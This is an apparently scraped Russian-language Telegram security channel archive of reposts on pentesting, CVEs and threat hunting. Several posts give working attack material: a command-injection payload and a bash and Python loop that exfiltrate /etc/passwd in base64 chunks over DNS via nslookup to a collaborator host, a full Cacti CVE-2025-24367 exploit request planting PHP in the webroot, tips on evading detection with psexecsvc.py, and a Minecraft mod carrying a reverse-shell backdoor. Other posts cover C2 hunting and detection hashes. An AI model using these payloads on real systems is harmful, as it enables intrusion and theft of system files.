Fsecurity | HH
الذهاب إلى القناة على Telegram
Канал про ИБ Наш Discord: https://discord.gg/Eg8aDS7Hn7 Пожертвовать: > https://www.donationalerts.com/r/xackapb
إظهار المزيد2 013
المشتركون
-224 ساعات
-57 أيام
-1130 أيام
أرشيف المشاركات
2 011
Repost from Pentest HaT
⚙️Онлайн инструменты для работы с JWT
JSON Web Token - специальный формат токена, который позволяет безопасно(в идеале 😁) передавать данные между клиентом и сервером.
Состоит из трёх частей: заголовок, пейлоад и подпись
➡️Мой любимый - https://token.dev
➡️По классике - https://jwt.io
➡️Еще неплохой вариант
➡️Отдельно декодер для Flask Session Cookie
Пример простейшей реализации на Python 🐍
import json
import hmac
import hashlib
import base64
import uuid
header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = str(uuid.uuid4())
def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
jwt_parts = []
json_header = json.dumps(header).encode()
json_payload = json.dumps(payload).encode()
jwt_parts.append(base64.urlsafe_b64encode(json_header))
jwt_parts.append(base64.urlsafe_b64encode(json_payload))
merge_payload_header = b'.'.join(jwt_parts)
signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
jwt_parts.append(base64.urlsafe_b64encode(signature))
return b'.'.join(jwt_parts)
print(f'Secret: {secret}')
print(jwt_gen(header, payload, secret))
#jwt #token #flask #python
✈️ Pentest HaT2 011
Repost from Заметки склерозного вебера
+1
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:
name=val`ping -с 1 $(whoami).collaborator`ue
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:
Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:
Получение части от вывода команды
Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене
`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`
Чтение всего файла по частям
Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)
bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'
Данный bash я делал по ранее написанному python-коду:
import os, base64, time
border, domain, delay = 40, ".collaborator", 3
with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]
for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)
Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9
P.S. Если base64 не катит, то просто поменяйте на hex2 011
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
2 011
Repost from Хатка бобра
На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного.
Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря.
В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы.
При реализации детекта нужно учитывать следующее:
1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver*
2) Имя сервиса (PSEXECSVC) может быть изменено
3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего
4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698
5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде).
Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/
#psexec #impacket
2 011
Repost from APT
⚙️ Wazuh — Unsafe Deserialization RCE (CVE-2025-24016)
An unsafe deserialization vulnerability in Wazuh servers allows remote code execution through unsanitized dictionary injection in DAPI requests/responses. If an attacker injects an unsanitized dictionary into a DAPI request or response, they can craft an unhandled exception, allowing arbitrary Python code execution.
🔗 Source:
https://github.com/0xjessie21/CVE-2025-24016
#wazuh #deserialization #rce #cve
2 011
Repost from Pentest HaT
⚙️ Cacti CVE-2025-24367
Arbitrary File Creation leading to RCE
Позволяет аутентифицированному пользователю злоупотребить функциями создания графов и шаблонов графов для записи произвольных PHP-скриптов в корень сайта
PoC:
POST http://192.168.178.78/cacti/graph_templates.php?header=false HTTP/1.1
host: 192.168.178.78
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
content-length: 804
Origin: http://192.168.178.78
Connection: keep-alive
Referer: http://192.168.178.78/cacti/graph_templates.php?action=template_edit&id=297&csrf_timeout=true&csrf_timeout=true
Cookie: CactiDateTime=Fri Jan 03 2025 14:03:51 GMT+0000 (Greenwich Mean Time); CactiTimeZone=0; Cacti=r378gdiav394djct96o26mliud; cacti_remembers=1%2C0%2C1ac46cea6e1f0225f6e52320b4d734503fac5215a76879b3cb2c939d5cc56c49
Priority: u=0
__csrf_magic=sid%3A3363ef9d47d62372302b4941b790e92f5f749d9c%2C1735913031&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save
🖥 Summary
#web #rce #cacti
✈️ Pentest HaT2 011
Repost from AP Security
#web #pentest
IDOR Forge
IDOR Forge - это мощный и универсальный инструмент, предназначенный для обнаружения уязвимостей Insecure Direct Object Reference (IDOR) в веб-приложениях.
Уязвимости IDOR возникают, когда приложение раскрывает прямые ссылки на внутренние объекты (например, ключи баз данных, пути к файлам) без надлежащей проверки авторизации, что позволяет злоумышленникам получить несанкционированный доступ к данным.
Этот инструмент автоматизирует процесс выявления таких уязвимостей, динамически генерируя и тестируя полезную нагрузку, анализируя ответы и сообщая о потенциальных проблемах.
2 011
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
2 011
Repost from Adaptix Framework
Socks5 прокси отлично работает, видео 4К через туннель пропускает без каких-либо задержек)
Но так как агент асинхронный, то сканирование через туннель больше чем в 4 потока может фолзить)
2 011
Repost from Похек
Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit
#nvidia #CVE@poxek #container
В сентябре 2024 года компания WIZ обнаружила критическую уязвимость в системе безопасности, обозначенную как CVE-2024-0132, которая затрагивала все версии NVIDIA Container Toolkit.
Уязвимость была устранена в NVIDIA Container Toolkit v1.16.2 и NVIDIA GPU Operator v24.6.2, однако технические детали раскрыты только 11 февраля 2024 года. В рамках нашей работы нам пришлось разобрать патч и проэксплуатировать эту уязвимость до выхода информации от авторов оригинальной уязвимости.
P.s. респект команде Luntry
➡️Подробности
🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча
2 011
Repost from ESCalator
+2
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁
В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.
Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.
Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.
Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.
Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.
Список наиболее популярных признаков, которые можно использовать для идентификации С2:
✅ Параметры TLS-сертификата
✅ Параметры TLS-соединения (JA3, JA4, JARM и т. д.)
✅ Заголовки ответа от сервера
✅ Контент и title страницы
✅ Набор открытых портов
✅ Favicon
Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.
Список сервисов, которые помогут вам искать С2 таким способом:
✅ Shodan
✅ Censys
✅ FOFA
✅ ZoomEye
✅ BinaryEdge
✅ Netlas
✅ ONYPHE
✅ Самописный сканер
Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.
😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt.
Кроме того, есть базовое опенсорс-решение для автоматизации запросов.
В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.
💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали title, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы.
Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.
#TI #C2 #tips #hunt #malware
@ptescalator
2 011
Repost from REDtalk
😎 Привет!
Сначала я хотел оформить этот материал в виде статьи, но думаю, поста будет достаточно.
Я тут недавно заинтересовался темой доставки малварей через игры, в частности, через Minecraft, и прифигел от их количества. Думаю, не для кого не новость, что тем или иным образом возможно вставить вредоносный код внутрь исходного кода, например, невнимательным апрувом пул-реквеста, и он сохранится в последующих версиях, до момента обнаружения. Но в нашем случае всё гораздо легче.
Вернемся к майнкрафту. Так уж получилось, что на самую продаваемую игру в мире сделано самое большое количество модов. А мы знаем, что чем популярнее платформа, тем больше внимания на нее обращают хацкеры. В интернете полно историй про взлом клиентов и серверов через Minecraft, я даже как-то делал пост на эту тему.
Так вот, я решил создать 🔗 мод, который покажет неосведомленным пользователем, почему нехорошо качать модпаки со случайных источников. Сейчас в моде присутствует безобидный бекдур с реверс шеллом на
127.0.0.1 31337/tcp, а также чат-команда /reverseshell для создания шелла на заданный адрес. В будущем предполагается добавить побольше интересных нагрузок и красивый интерфейс внутри игры, но без импакта пользователю (если, конечно, он сам этого не захочетXD)2 011
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
